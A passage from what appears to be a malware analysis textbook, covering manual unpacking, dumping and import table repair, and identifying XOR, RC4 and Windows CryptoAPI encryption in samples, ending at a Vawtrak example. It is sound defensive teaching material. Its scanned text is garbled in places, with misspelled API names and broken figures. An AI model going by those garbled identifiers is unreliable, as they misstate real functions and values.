If the sample is written in C, it makes sense to monitor mailoc/calloc functions
straight away. For C++ malware, we can also monitor the new operator.

As long as we stop at the entry point of the sample (or at the beginning of the
TLS routine, if it is available), we can set a breakpoint on execution to the
following functions. Generally, it is OK to put a breakpoint on the first
instruction of the function, but if there is a concern that malware can hook it
(that is, replace the first several bytes with some custom code), the breakpoint at
the last instruction will work better.

Another advantage of this is that, this way, it needs only one breakpoint for both
virtualallocex and virtualalloc (which is a wrapper around the former API). In the



IDA debugger, it is possible to go to the API by pressing the G hotkey and
prefixing the API name with the corresponding DLL without the file extension
and separating it with an underscore, for example, kerne132_virtualalloc.

After this, we continue execution and keep monitoring the sizes of the allocated
blocks. As long as it is big enough, we can put a breakpoint on the write access
in order to intercept the moment when the encrypted (or already decrypted, on
the fly) payload is being written there. If the malware calls one of these
functions too many times, it makes sense to set a conditional breakpoint and
monitor only allocations of blocks bigger than a particular size. After this, if the
block is still encrypted, we can keep a breakpoint on writes and wait until the
decryption routine starts processing it. Finally, we dump the memory block onto
disk when the last byte is decrypted.

Other API functions that can be used in the same approach include the
following:

e virtualprotect: Malware authors can use this in order to make the memory
block storing the unpacked sample executable

® writeprocessMemory: Often used in order to inject the unpacked payload, either
to some other process or to itself

In most cases, the malware unpacks the whole sample at once so that after
dumping it, we get the correct vz-ee file, which can be analyzed independently.
However, other options exist, such as the following:

e A decrypted block is a corrupted executable and depends on the original
packer in order to perform correctly.
e The packer decrypts the sample section by section and loads each of them
one by one. There are many ways this can be handled, for example:
e Dump sections as long as they become available and concatenate them
later
e Modify the decryption routine to process the whole sample at once
e Write a script that decrypts the whole encrypted block

If at any stage the malicious program terminates, it might be a sign that it either
needs something extra (such as command-line arguments or an external file, or
perhaps it needs to be loaded in a specific way), or that there is an anti-reverse
engineering trick that needs to be bypassed. You can confirm this in various



ways—for example, by intercepting the moment when the program is going to
terminate (fOF example, by placing d breakpoint Ol ExitProcess, TerminateProcess O
the more fancy postquitmessage API call) and trace which part of the code is
responsible for it.

Some engineers prefer to go through the main function manually, step by step—
without going into subroutines until one of them causes a termination—and then
restart the process and trace the code of this routine. It then traces the code of the
routine inside it, if necessary, right up until the moment the terminating logic is
confirmed.



Technique 9 — in-place unpacking

While definitely not common, it is possible to either decrypt the sample in the
same section that it was originally located (this section should have write
permissions) or in another section of an original file.

In this case, it makes sense to perform the following steps:

1. Search for a big encrypted block (usually, it has high entropy and is visible
to the naked eye in a hex editor).

2. Find the exact place where it will be read (the first bytes of the block may
serve other purposes—for example, they might store various types of
metadata, such as sizes or checksums/hashes, to verify the decryption).

3. Put a breakpoint on read and/or write there.

4. Run the program and wait for the breakpoint to be triggered.

As long as this block is accessed by the decryption routine, it is pretty
straightforward to get the decrypted version of it—either by placing a breakpoint
on execution at the end of the decryption function or a breakpoint on write to the
last bytes of the encrypted block to intercept the moment when they are
processed.

It is worth mentioning that this approach can be used together with the one that
relies on malware allocating memory discussed in Technique 8 — monitoring
memory allocated spaces for unpacked code section.



Technique 10 — stack restoration
based

Restoring the stack is usually quicker to do than the previous two techniques, but
it is much less reliable. The idea here is that some packers keep the stack in
order and transfer control to the unpacked sample to has the same stack level that
they started with. What that means is that it will access the value located at the
address that was originally pointed by the frame pointer register (ebx/rbx), minus
one value of a size of the address length for the selected architecture (for
example, a 4-byte DWORD for a 32-bit platform) just before transferring control
to the unpacked code, even when using the jmp instruction.

In this case, it is possible to set a breakpoint on access to the [ebp-4] value while
staying at the entry point of the sample and then executing it so that the
breakpoint will hopefully trigger just before transferring control to the unpacked
code. Often, this happens when the packer restores the registers to the original
values—for example, by using the popad instruction.

Obviously, this may never happen, depending on the implementation of the
unpacking code, and there may be other situations where this does happen (for
example, when there are multiple garbage calls before starting the actual
unpacking process). Therefore, this method can only be used as a first quick
check before more time is spent on the first two methods, which will work in
pretty much any case.

After we reach the point where we have the unpacked sample in memory, we
need to save it to disk. In the next section, we will describe how to dump the
unpacked malware from memory to disk and fix the import table.



Dumping the unpacked sample and
fixing the import table

In this section, we will look at how to dump the unpacked malware in memory to
disk and fix its import table. In addition to this, if the import table has already
been populated with API addresses by the loader, we will need to restore the
original values. In this case, other tools will be able to read it, and we will be
able to execute it for dynamic analysis.



Dumping the process

To dump the process, you can use OllyDump. OllyDump is an OllyDbg plugin
that can dump the process back to an executable file. It unloads the PE file back
from memory into the necessary file format:

OllyDump - Packed_1.exe

Start Addreze: |400000 Size: |1FOO0 Dump

Entry Paint: - [10D30 > Madify: [D71E40 GetEIP as OEP Cancel

Base of Code; |1C000 Baze of Data: |1EDDD

v Fix Baw Size & Offset of Dump Image

Section | Virtual Size | Yitual Offzet | Baw Size Haw Offzet | Charactaristics

UF=0  00EO00 00007000 ooogooo  Oooot 000 EQO00OS0
LIF1 Oo00z00o oooicooo - ooooE2ooo ooocood - E00oo040
TEIC o007 oo Oooieooo  Ooooi oo oooleooo Co00o040

v Febuild Impart
(¢ Method! : Search JMPIAPI] | CALLIAPI] in mernany image
(" Method? ; Search DLL & APl name sting in dumped File

Figure 16: OllyDump UI

Once you reach the OEP from the previous manual unpacking process, you can
set the OEP as the new entry point. OllyDump has the ability to fix the import
table (as we will soon describe). You can either use it or uncheck the Rebuild
Import checkbox if you are willing to use other tools.



Another option is to use tools such as PETools or Lord PE for 32-bit and VSD
for 64-bit Windows. The main advantage of these solutions is that apart from the
so-called Dump Full option, which mainly dumps original sections associated
with the sample, it is also possible to dump a particular memory region—for
example, allocated memory with the decrypted/unpacked sample(s):

Region Dump ) X

Address Size Protect State Type ﬂ
Q0000Q00 Q0010000 MO ACCESS FREE NOME

Q0010000 Q0002000 READ/'WRITE COMMIT FRIVATE

Q0012000 Q000EQQD MO ACCESS FREE NOME

Q00z0000 Q0002000 READ"WRITE COMMIT FRIVATE

Q00Z2000 Q000EQDD MO ACCESS FREE NOME

Q0030000 Q00F2000 MOME RESERVE FRIVATE

Q0122000 Q0001000 READMWRITE | P...  COMMIT FRIVATE

READIWRITE COMMIT PRIVATE
00130000 00003000  READ OWLY COMMIT MAPPED
00133000  00OODOOO WO ACCESS FREE NONE
00140000 00002000 READ OMNLY COMMIT MAPPED
00142000 O0O0DEODOO WO ACCESS FREE NONE
00150000  OOOSAO00  READ[WRITE COMMIT PRIVATE |
—Dumnp Informations
ddress | 00123000 Size | 00000000 Dump Refresh Close

Figure 17: Region Dump window of PETools

Next, we are going to have a look at fixing the import table of a piece of
malware.



Fixing the import table

Now, you may be wondering: what happens to the import table that needs to be
fixed? The answer is: when the PE file gets loaded in the process memory or the
unpacker stub loads the import table, the loader goes through the Import Table
header from the Data Directory (you may need to read chapter 2, Basic Static and
Dynamic Analysis for x86/x64, again to fully understand this) and populates it
with the actual addresses of API functions from DLLs that are available on the
machine:

[A4AFAZ4] 5=FF25 FCOZSAAA| JHP DWORD PTR DS [44KFRHFI A2 RatMierentPronscs 1 | FERMHEL 29 RatMwnen tPannos o

DRARFOZA] 4=FFEC GA0SER0G|JMP DWORD PTR DS:[<t
JfF DNORD FTR D5 (41

BA4AFA3E §-FF25 B4035AAR
ObARFUE S-Fras BELESHLD S CUORD FTR D5:LCH | e OrignaFirstThunk | TmeDateStamp | ForwarderChain | Name FrstThunk | A
HAAFAAC| §=FFES BCOASAAE JMP DUORD PTR DS: 04

ouerae] -2 LTTEoaan e TuoRD PR og: | ADVAPTS2DLL  001000C8 40020 OSGFO000 001009 OOIOD0F4
RIS S-FEOE 4000l HORD PR Cept VERMELIZDUL 00100100 00002000 WFAS0  0ID5  O0I0DZB4
GRAFIE) S-FFO5 12025000l P DUORD PR D6:c¢t | VERSIONDLL 00100468 T016ET2 b16Ca065 0010092 0010D478
B4RFISA| =FF2S 10035000 P DUORD TR DG: ¢t | COMCTLIZOLL 0010048 00000042 OFE20E ODIODSE  0010D4Y0
OAFIER| $~FFE5 ZATEE00| P WORD PTR DG:[¢t COMOLGIZOLL 0010048 00200000 00000000 00IDFE  O0I0D4AC
Bg4proge) G GIROL 00100400 IEFCES 40073 0010DARR 00100540

05: ORSHDGEA 1=77RIOI0N (ROVRPISZ ReaCloskey) |G DDl OHODSCH 57152101 0000083 0010DAL2 001004
Local calls fron BU43CELE, DONGLRAF, EBASZ0%, | eyl O0IODSER 0S0FO000 0SDFO000 OMDAEE  O0IDTCB
ez |18 e ThnkRVA | ThunkOffset | ThunkValee | HntlOrdingd | APTName

BESADAES] TPA10108| ADUAPT3Z, Reat Losekey
BRSADAES] 77R47R0A| ADURPT3Z, Reglreat ekeyR

HHEANGEL) 7PARLOTFA| AOUART 32, Reqle et etteyR
ST 77RAE7RG| ADUARTSE. Realpen ey 0010D0EC  00OCC4EC  00L0DASI (000D ReqDeleteXeyA

1
1
ORSE0EF4| 77R103E0) ADVAPI32. ReaveryValvebs | OOLODOFD Q0OCCHD 0LODAGT 0000 RegOpenkeyA
1
1

001000E4  00OCC4E4  0010DA33 0000 ReqCloseey
(010008 00OCC4E8  0OI0DA41 00O RegCreatekeyA

GOSAGFS) T7RIESF| ADURPIZ. Reghetlaluebsn  ODIODOF4  0DOCCAF4  Q0I0DAGF 0000 RegQueryValueExA
HASADIAFT| A0aRRaaa 0010DOFR  00OCC4FS  (DI0DAS3 0000 Reqfetiauetrd

BR5A01 03] BA1A0R%S
BA5A01 B4) BA1A0ARS
BA5A01 B3] BA1A0AES

BA5A01 AC] B31A0ACD Cloge

BA5A01 1) B31ADACE

Figure 18: Import table before and after PE loading

After this, these API addresses are used to execute this API throughout the
application code, usually by using ca11 and jmp instructions:



BE43CEC0|] . 5O FUSH ER: hkew
HE43CECE|] - ER ClZeB7Dd CALL <JMP.&ADVARISZ.ReaClosekeyw RegClosekey
BB4FIEF94| 5—FF25 E4DBEBBB| JHMP DWORD PTR DS: [<&RADVAPISZ. ReaC losekey x] | ADUAFPIZZ.ReaClozsekey

Figure 19: Examples of different API calls

To unload the import table, we need to find this list of API addresses, find which
API each address represents (we need to go through each library list of addresses
and their corresponding API names for this), and then replace each of these
addresses with either an offset pointing to the API name string or an ordinal
value. If we don't find the API names in the file, we may need to create a new
section that we can add these API names to and use them to unload the Import
Table.

Fortunately, there are tools that do this automatically. In this section, we will talk
about the Import Reconstructor (ImpREC):



£ Import REConstructor v1.Te FINAL (C) 2001-2010 MackT/uCF o] B [

Aittach to an Active Process

|EZ"'._tIZIIZI|S"'._ir'I$tE|||S"'.il'|'||:I[E!I3"'.iI'I'||:IIII[tIEI3.E!I':E-' (0000044C) j Fick DLL

Imported Funchions Found

- advapi32. dil FThunl: 00040000 MbFunc:b [decimal B vahd YRS e e
-- comctl3Z. dl FThunk: 00040018 NbFunc: 2 [decimal:2) valid:YES —
- qdi32. il FThunk: 00040024 NEFunc: 1C [decimal. 28] valid YES Show Suspect

-- kemel32.dIl FThunk: 00040038 NbFunc: 77 (decimal119) valid YES
-- shell32.dll FThunk: 00040273 MbFunc:1 [decimat 1] vald:YES

-- 7 FThunk; 00040230 MbFunc:BD [decimal 103) valid MO Lt Trace
-- wingpoal.dre FThunk: 00040438 MbFunc: 3 [decimal 3] valhd YES

- comdigdZ. dil FThunk: 00040 448 NbFunc: 2 [decimal 2] valid:YES
Clear Impartz

Log

rya 0004016C forwarded fram mad:ntdll.dl ard:02C0 name: RUDeleteCrticalS ection -
rya 00040170 forwarded fram mad:ntdl il ord: 0004 name: RtllnibiahizeCrticalS ection

Clear Log

Current imparts;
{ [decimal 7) vald module(z) (added: +7 [decimal +7

100 [decimal 269 imparted function(s]. [added: +100 [decimal +263))

4T Infos needed Wew |mpart Infos [ID+A5CH+LOADER) ﬂ
OEP |00034ER5S |&T AutcSearch ‘ R |[|[||j|j|j|j[|[| Cizg ||:||:||:||:||]EHEIE
About
Fifa [DO04CFFC  Size |EIEIE|E|E|458 v Add new section
Exit

Fix Diump |

Figure 20: ImpREC interface

Load Tree‘ SaweTree‘ [zet Imparts

To fix the import table, you need to follow these steps:

1. Dump the process or any library you want to dump using OllyDump (and
uncheck the Rebuild Import checkbox).
2. Open ImpREC and choose the process you are currently debugging.




3. Now set the OEP value to the correct value and click on IAT AutoSearch.

4. After that, click on Get Imports and delete any rows with valid: NO from
the Imported Functions Found section.

5. Click on the Fix Dump button and then select the previously dumped file
with OllyDump. Now, you will have a working, unpacked PE file. You can
load it in PEiD or any other PE explorer application to check whether it's
working.

0 For a 64-bit Windows system, Scylla or CHimpREC can be used instead.

In the next section, we will discuss basic encryption algorithms and functions to
strengthen our knowledge base and thus enrich our malware analysis
capabilities.



Identifying different encryption
algorithms and functions

In this section, we will take a look at the simple encryption algorithms that are
widely used in the wild. We will learn about the difference between symmetric
and asymmetric encryption and we will learn how to identify these encryption
algorithms in the malware disassembled code.



Types of encryption algorithms

Encryption is basically the process of modifying data or information to make it
unreadable or unusable without a secret key, which is only given to people who
are expected to read the message. The difference between encoding or packing
and encryption is that packing doesn't use any key, and its main goal is not
related to protecting the information or limiting access to it compared to
encryption.

There are two basic techniques for encrypting information: symmetric
encryption (also called secret key encryption) and asymmetric encryption (also
called public key encryption):

e Symmetric algorithms: These types of algorithms use the same key for
encryption and decryption. It's a secret key that's shared by both sides:

Plaintext:

Protected data Encrypt

Ciphertext:

DkGaj9jskinc
ckwnsos8shs

Plaintext:

«— Decrypt
Protected data

Figure 21: Symmetric algorithm explained



e Asymmetric algorithms: In this algorithm, two keys are used. One is used
for encryption and the other is used for decryption. These two keys are
called the public key and the private key. One key is shared publicly
(public key), while the other one is private key:

Plaintext: o
— Encrypt

@

Protected data

Ciphertext:

Wc6ajQjrkdni
pfw8s1s8shm

Plaintext: M
<«— Decrypt

@

Figure 22: Asymmetric algorithm explained

Protected data



Basic encryption algorithms

Most encryption algorithms that are used by malware consist of basic
mathematical and logical instructions—that is, xor, add, sub, ro1, and ror. These
instructions are reversible, and you don't lose data while encrypting with them
compared to sh1, shr, where it is possible to lose some bits from the left and right.
This also happens with and, or, which can lead to the loss of data when using

or 1S 1 OT and iS e.

Some basic encryption algorithms are as follows:

e Simple static encryption: Here, you use operations such as xor, add, Or rol:

31 0

0000 1000 1000 1000 0000 1000 1000 1010
l | | \ l | | |

)

(

! X M N X X \
1010 0000 1000 1000 1000 ~ 0000 1000 1000
| | | | | | J

Figure 23: Example of the rol operation

¢ Running key encryption: Here, you can make key changes from one byte
to another, like this:

loop_start:

mov edx, <secret_key>

xor dword ptr [<data_to_encrypt> + eax], edx
add edx, Ox05 ;add 5 to the key,

inc eax

loop loop_start

¢ Substitutional key encryption: Malware can substitute bytes with each
other or substitute each value with another value (for example, for each
byte with a value of ox45, the malware could change this value to ox23), like
RC4 encryption, which we will look at later.

¢ Other encryption algorithms: Malware authors never run out of ideas
when it comes creating new algorithms that represent a combination of
these arithmetic and logical instructions. This leads us to the next question:
how can we identify encryption functions?



How to identify encryption functions

The following screenshot demarcates sections, which are numbered from 1 to 4.
These sections are key to understanding and identifying the encryption
algorithms that are used in malware:

.text:100025E8 Loop: ; CODE XREF: DecryptFunc+38lj
.text:100025E8 movsx  eax, byte ptr [edx+esi] i\
text:100025EC cnp  eax, 20h . Q
.text:100025EF jnz short loc_108025F7

.text:106025F1 mov byte ptr [edx+esi], ©

.text:100025F5 jmp short loc_10002605

£eXt:100025F7 ; ~ - - o - mmm e e
.text:100025F7

.text:100025F7 loc_100825F7: ; CODE XREF: DecryptFunc+1FTj
.text:100025F7 sub eax, 37h (2\
.text:100025FA cmp eax, 21h i

.text:100025FD jge short loc_ 106002602

.text:100025FF add eax, 5Eh

.tText:10002602

.text:10002602 loc_10002602: ; CODE XREF: DecryptFunc+2DTj
.text:10002602 mov [edx+esi], al (;i\

.text:10002605 . (O—

.text:10002605 loc_10002605: ; CODE XREF: DecryptFunc+25T1j
.text:10002605 inc edx -

.text:10002606 cmp edx, ecx . (}i\

.text:10002608 jl short Loop 7

.text:1000260A

Figure 24: Things to pay attention to when identifying the encryption algorithm

To identify an encryption function, there are four things you should be
searching for, as shown in the following table:

Sequential | The encryption function has to read data from memory
data read —not a fixed value, but an array of bytes, one by one.

There's no encryption loop without encryption! It may




2 | Encrypting
the value

sound obvious, but a loop with sequential read and
sequential write can be easily misunderstood as an
encryption loop, and they are just data or memory copiers.

Sequential
data write

A sequential data write is also easy to miss. If the function
is writing by a fixed address, it's possible that it is just
generating a checksum of this data in order to check the
integrity of it (this is used to check for INT3 breakpoints
or to crack key protection).

4 | Loop

It's important to note that the variable that's used as a loop
index is the same one that's used for the sequential read
and write, and they both change on every iteration. If you
noticed that the index variable that's used in a sequential
read and write is not getting modified from one iteration
to another, it might not be an encryption function.

These four points are the core parts of any encryption loop. These can be easily
spotted in a small encryption loop, but may be harder to spot in a more
complicated encryption loop such as RC4 encryption, which we will discuss

later.




String search detection techniques for
simple algorithms

In this section, we will be looking into a technique called X-RAYING (first
introduced by Peter Ferrie in the PRINCIPLES AND PRACTISE OF X-
RAYING article in VB2004). This technique is used by antivirus products and
other static signature tools to detect samples with signatures, even if they are
encrypted. This technique is able to dig under the encryption layers to reveal the
sample code and detect it without knowing the encryption key in the first place
and without incorporating time-consuming techniques such as brute forcing.
Here, we will describe the theory and the applications of this technique, as well
as some of the tools we can use to help us use it. We may use this technique in
order to detect embedded PE files or decrypt malicious samples.



The basics of X-RAYING

For the types of algorithms that we described earlier, if you have the encrypted
data, the encryption algorithm, and the secret key, you can easily decrypt the
data (which is the purpose of all encryption algorithms); however, if you have
the encrypted data (ciphertext) and a piece of the decrypted data, can you still
decrypt the remaining parts of the encrypted data?

In X-RAYING, you can brute force the algorithm and its secret key(s) if you
have a piece of decrypted data (plaintext), even if you don't know the offset of
this plain text data in the whole encrypted blob. It works on almost all the simple
algorithms that we described earlier, even with multiple layers of encryption.

For most of the encrypted PE files, the plain text includes strings such as "this
program cannot run in DOS mode" OT "kernel32.d1l", and it can contain an array of null
bytes or ints (excc) bytes.

For malware strings (if they are all encrypted by the same key), they can include
strings such as "wrte" or some common API names.



Simple static encryption

If we assume that the encryption algorithm is just simple static encryption using
xor, we can just search for piaintext inside ciphertext, like this:

for 1 in ciphertext:
key = ciphertext[i:i+4] xor "This"
if decrypt(ciphertext[i:<length of plaintext>], key) == " program cannot run in DOS
we found it!!!
else:
continue searching

It's as simple as that—we assume the key from the result of the xoring ciphertext
and the first few bytes of the plaintext and then test this key with the remaining
plain text. If this key works it will reveal the remaining plain text of the
ciphertext, which means that you will have found the secret key and can decrypt
the remaining data.



Other encryption algorithms

For the other simple encryption algorithms, you only need longer plain text. This
breaks through all the encryption layers, including the sliding key, substitutional
encryption algorithms, and so on.

We are not planning to go through all of them here, but you can dive deeper into
this research if you wish.



X-RAYING tools for malware
analysis and detection

Some tools have been written to help malware researchers use the X-RAYING
technique for scanning. The following are some of these tools that you can use,
either from the command line or by using a script:

e XORSearch: This is a tool that was created by Didier Stevens, and it
searches inside ciphertext by using a given plain text sample to search for. It
doesn't only cover xor—it also covers other algorithms, including bit
shifting (such as ro1, ror):

C:~BORSearch.exe —n 20 441055893 .pcapny 441855893 =
Found SHIFT @1 position 1FAAC-28D>: t=18ic=7B8710721&id=441855893&iguid={ch?51d04S

Figure 25: XORSearch Ul

¢ Yara Scanner: Yara is a static signature tool that helps scan files with
predefined signatures. It allows regex, wildcard, and other types of signatures.
It also allows xor signatures:

BN SANS ISC

rule xor_test {
strings

$a = "http:/fisc.sans.edu” xor  ZEFEEHEREEIRL, $325$7%/20".,

condition:
$a

C:\demo>yarab4 -s xor.yara test-xor.txt

C:\demo>

Figure 26: Example of using a YARA signature

Unfortunately, these tools are only created for xor encryption algorithms. For
more advanced X-RAYING techniques, you may need to write a small script to



scan with manually.



Identifying the RC4 encryption
algorithm

The RC4 algorithm is one of the most common encryption algorithms that is
used by malware authors, mainly because it is simple and at the same time
strong enough to not be broken like other simple encryption algorithms. It is not
available as a WinAPI, so malware authors generally implement it manually.
This means it may be hard for novice reverse engineers to identify. In this
section, we will see what this algorithm looks like and how you can identify it.



The RC4 encryption algorithm

The RC4 algorithm is a symmetric algorithm that uses one secret key (maximum
of 256 bytes). The algorithm consists of two parts, a key-scheduling algorithm
(KSA) and a pseudo-random generation algorithm (PRGA). Let's have a look
at each of them in greater detail.



Key-scheduling algorithm

The key-scheduling part of the algorithm basically creates an array of 256 bytes
from the secret key, which is just another, bigger version of the key. This array

will be the key that is used to encrypt and decrypt the data afterwards. This part
consists of the following two parts:

e It creates an array with values from o to 256 sequentially:

S[i] := i

for i from 0 to 255
endfor

¢ It swaps bytes based on the key—this generates an index number, j, based
on the secret key:

j = (j + S[i] + key[i mod keylength]) mod 256
swap values of S[i] and S[j]

for i from 0 to 255
endfor

Once this initiation part for the key is done, the decryption algorithm starts. In
most cases, the KSA part is written in a separate function that takes only the
secret key, without the data that needs to be encrypted or decrypted.



Pseudo-random generation algorithm

The pseudo-random generation part of the algorithm just generate pseudo-
random values (again, based on swapping bytes, like we did for the key), but
also performs an xor operation with the generated value and a byte from the data:

i 0
j 0
while GeneratingOutput:
i:= (i + 1) mod 256
j = (j + S[1i]) mod 256
swap values of S[i] and S[j]
K := S[(S[i] + S[]j]) mod 256]
Data[i] = Data[i] xor K
endwhile

As you can see, the actual algorithm that was used was xor. However, all this
swapping aims to generate a different key every single time (similar to sliding
key algorithms).



Identifying RC4 algorithms in a
malware sample

To identify an RC4 algorithm, there are some key characteristics that can help
you detect it rather than you having to spend hours trying to analyze each part of
the algorithm:

e The generation of the 256 bytes array: This part is easy to recognize, and
it's quite unique for a typical RC4 algorithm like this:

-TEXT IUU4ulubA

.text:0040105A Lodpi: ; CODE XREF: KSA+5@{j
— |.text:0040105A mov eax, [ebp+i]

.text:8040105D cmp eax, 256

.text:00401063 jge loc_4e108B

.text:00401069 jmp loc_46187B
.text:0040106E ; - - : ; :
.text:0040106E

.text:0040106E loc_40106E: ; CODE XREF: KSA+6@!j
.text:0040106E mov eax, [ebp+i]
.text:00401071 mov ecx, eax
.text:00401073 add eax, 1
.text:00401076 mov [ebp+i], eax
—— |.text:00401079 Jmp short Loopl

Figure 27: Array generation in the RC4 algorithm

e There's lots of swapping: If you can recognize the swapping function or
code, you will find it everywhere in the RC4 algorithm. The KSA and
PRGA parts of the algorithm are a good sign that it is an RC4 algorithm:

.text:004010EA mov eax, [ebp+S]
.text:004818ED mov ecx, [ebp+i]
.text:004010F0 add eax, ecx
.text:@04010F2 mov ecx, [ebp+S]
.text:004010F5 mov edx, [ebp+j]
.text:004810F8 add ecx, edx
.text:004810FA push ecx
.text:004010FB push eax
.text:004010FC call swap
.text:00401101 add esp, 8
.text:004081164 Jjmp short loc 4@16A7

Figure 28: Swapping in the RC4 algorithm

e The actual algorithm is XOR: At the end of a loop, you will notice that
this algorithm is basically a xor algorithm. All the swapping is done on the
key. The only changes that affect the data are done through xor:



.text:
text:
text:
.text:
Jtext:
Ltext:

@04011F3
004011F6
0040811F9
004011FB
004011FE
00491200

mov
movsx
xor
mov
mov
jmp

[ebp+var_18], eax ; var_18 --> ciphertext[n]
eax, byte ptr [ecx]

edx, eax

eax, [ebp+var 18]

[eax], dl

loc_4@115E

Figure 29: Xor operation in the RC4 algorithm

¢ Encryption and decryption similarity: You will also notice that the
encryption and the decryption functions are the exact same function.
The xor logical gate is reversible. You can encrypt the data with xor and the
secret key and decrypt this encrypted data with xor and the same key (which
is different from the add/sub algorithms, for example).



Standard symmetric and asymmetric
encryption algorithms

Standard encryption algorithms such as symmetric DES and AES or asymmetric
RSA are widely used by malware authors. However, the vast majority of samples
that include these algorithms never implement these algorithms themselves or
copy their code into their malware. They are mainly implemented using core
Windows APIs or through a third-party library, such as OpenSSL.

These algorithms are mathematically more complicated than simple encryption
algorithms or RC4. You don't need to understand their mathematical background
to understand how they are implemented—you only need to understand how to
identify how any of these algorithms can be used and how to figure out the exact
algorithm used, the encryption/decryption key(s), and the data.



Extracting information from
Windows cryptography APIs

There are some common APIs that are used with both symmetric and
asymmetric algorithms, including DES, AES, RSA, and even RC4 encryption.
Some of these APIs are CryptAcquireContext, CryptCreateHash, CryptHashData,
CryptEncrypt, CryptDecrypt, CryptImportKey, CryptDestroyKey, CryptDestroyHash, and
CryptReleaseContext (fFOIIl Advap132.dll).

Here, we will take a look at the steps malware has to go through to encrypt or
decrypt its data using any of these algorithms and how to identify the exact
algorithm that's used, as well as the secret key.



Step 1 — initializing and connecting to
the cryptographic service provider
(CSP)

The cryptographic service provider is a library that implements cryptography-
related APIs in Microsoft Windows. For the malware sample to initialize and use
one of these providers, it executes the cryptacquirecontext API, as follows:

|CryptAcquireContext(&hProv,NULL,MS_STRONG_PROV,PROV_RSA_FULL,O);

The provider can tell you a lot about the algorithm that can be used for the
encryption process, as well as the most common values used by malware
authors:

e prov_rsa_FuLL: This provides access to DES, Triple DES, RC2, and RC4 for
encryption, as well as RSA for key exchange and signatures

e prov_rsa_Aes: This is used for AES, RC2, and RC4 encryption (again,
together with RSA)

You can find all the supported providers in your system in the registry of the
following key:

| HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Defaults\Provider



Step 2 — preparing the key

There are two ways to prepare the encryption key. As you may know, the
encryption keys for these algorithms are usually of a fixed size (112 bits or 128
bits, and so on). Here are the steps the malware author takes to prepare the key:

1. First, the author uses their plain text key and hashes it using any of the
known hashing algorithms, such as MD5, SHA 128, SHA256, or others:

CryptCreateHash(hProv,CALG_MD5, 0, 0, &hHash);
CryptHashData(hHash, secretkey, secretkeylen,Q);

2. Then, they create a session key from this hash using cryptperivekey—for
example, CryptDeriveKey(hProv, CALG_3DES, hHash, 0, &hKey);. From here, they can
easily identify the algorithm from the second argument value that's
provided to this API. The most common algorithms/values are as follows:

CALG_DES = 0x00006601,// DES encryption algorithm.

CALG_3DES = 0x00006603,// Triple DES encryption algorithm.
CALG_AES = 0x00006611,// Advanced Encryption Standard (AES)
ALG_RC4 = 0x00006801,// RC4 stream encryption algorithm.
CALG_RSA_KEYX = 0x0000a400,// RSA public key exchange algorithm.

3. Some malware authors provide a keveLos, which includes their key to
cryptImportkey. A KeveLos iS a simple structure that contains the key type, the
algorithm that was used, and the secret key for encryption. The structure of
a kevaLos is as follows:

typedef struct KEYBLOB {
BYTE bType;
BYTE bVersion;
WORD reserved;
ALG_ID aiKeyAlg;
DWORD KEYLEN;
BYTE[] KEY;

}

The brype phrase represents the type of this key. The most common types are as
follows:

® PLAINTEXTKEYBLOB (0x8): States a plain text key for a symmetric algorithm, such
as DES, 3DES, or AES
® PRIVATEKEYBLOB (0x7): States that this key is the private key of an asymmetric



algorithm
e puBLICKEYBLOB (0x6): States that this key is the public key of an asymmetric
algorithm

The aikeyalg phrase includes the type of the algorithm as the second argument
of cryptoerivekey. Some examples of this keveLos are as follows:
BYTE DesKeyBlob[] = {
Ox08, Ox02, 0x00, Ox00, Ox01, 0x66, OXx00, Ox00, // BLOB header

0x08,0x00, 0x00,0x00, // key length, in bytes
0xf1, 0x0e, 0x25, 0x7c, Ox6b, Oxce, 0x0d, 0x34 // DES key with parity

3

As you can see, the first byte (btype) shows us that it's a pLainTexTkeYBLOB, While the
algorithm (oexe1, exe6) represents caLc_pes (ox6601).

Another example of this is as follows:

BYTE rsa_public_key[] = {
0x06, 0x02, 0x00, 0x00, O0x00, Oxad, 0x00, 0x00,
0x52, 0x53, 0x41, 0x31, 0x00, 0x08, 0x00, 0x00,

This represents a pusLickeveLos (ox6), while the algorithm
represents caLc_rsa_kevx (exas00). After that, they are loaded via cryptimportkey:

| CryptImportKey(akey->prov, (BYTE *) &key_blob, sizeof(key_blob), 0, 0, &akey->ckey)



Step 3 — encrypting or decrypting the
data

Now that the key is ready, the malware uses cryptencrypt Or cryptpecrypt t0 encrypt
or decrypt the data. With this API, you can identify the start of the encrypted
blob (or the blob to be encrypted). These APIs are used like this:

CryptEncrypt(hKey, NULL, 1,0, cyphertext,ctlen,sz);
CryptDecrypt(hKey, NULL, 1,0, plaintext, &ctlen);




Step 4 — freeing the memory

This is the last step, where we free the memory and all the handles that have

been used by using the CryptDestroyKey, CryptDestroyHash,
and CryptReleaseContext APIs.



Cryptography API next
generation (CNG)

There are other ways to implement these encryption algorithms. One of them is
by using cryptography API next generation (CNG), which is a new set of
APIs that have been implemented by Microsoft. Still not widely used in
malware, they are actually much easier to understand and extract information
from. The steps for using them are as follows:

1.

Initialize the algorithm provider: In this step, you can identify the exact
algorithm (check MSDN for the list of supported algorithms):

BCryptOpenAlgorithmProvider (&hAesAlg, BCRYPT_AES_ALGORITHM, NULL, 0)

Prepare the key: This is different from preparing a key in symmetric and
asymmetric algorithms. This API may use an imported key or generate a
key. This can help you extract the secret key that's used for encryption, like
so:

BCryptGenerateSymmetricKey(hAesAlg, &hKey, pbKeyObject, cbKeyObject, (PBYTE)

Encrypt or decrypt data: In this step, you can easily identify the start of
the data blob to be encrypted (or decrypted):

BCryptEncrypt(hKey, pbPlainText, cbPlainText, NULL, pbIV, cbBlockLen, NULL,

Cleanup: This is the last step, and uses APIs such
dS BCryptCloseAlgorithmProvider, BCryptDestroyKey, and HeapFree tO clean up the
data.



Applications of encryption in modern
malware — Vawtrak banking Trojan

In this chapter, we have seen how encryption or packing is used to encrypt the
full malware. Here, we will look at other implementations of these encryption
algorithms inside the malware code for obfuscation and for hiding malicious key
characteristics. These key characteristics can be used to identify the malware
family using static signatures or even network signatures.

In this section, we will take a look at a known banking trojan called Vawtrak. We
will see how this malware family encrypts its strings and API names, and
obfuscates its own network communication.



String and API name encryption

Vawtrak implements a quite simple encryption algorithm. It's based on sliding
key algorithm principles and uses subtraction as its main encryption technique.

Its encryption looks like this:



.text:18@@7DFE ; Attributes: bp-based frame

Jtext:18887DF8

.text:180@70F8 DecryptString  proc near 3 CODE XREF: sub_1888115D423tp
Jtext:18887DF8 3 sub_18@@11ES4Betp ...

Jtext: 18887DF8

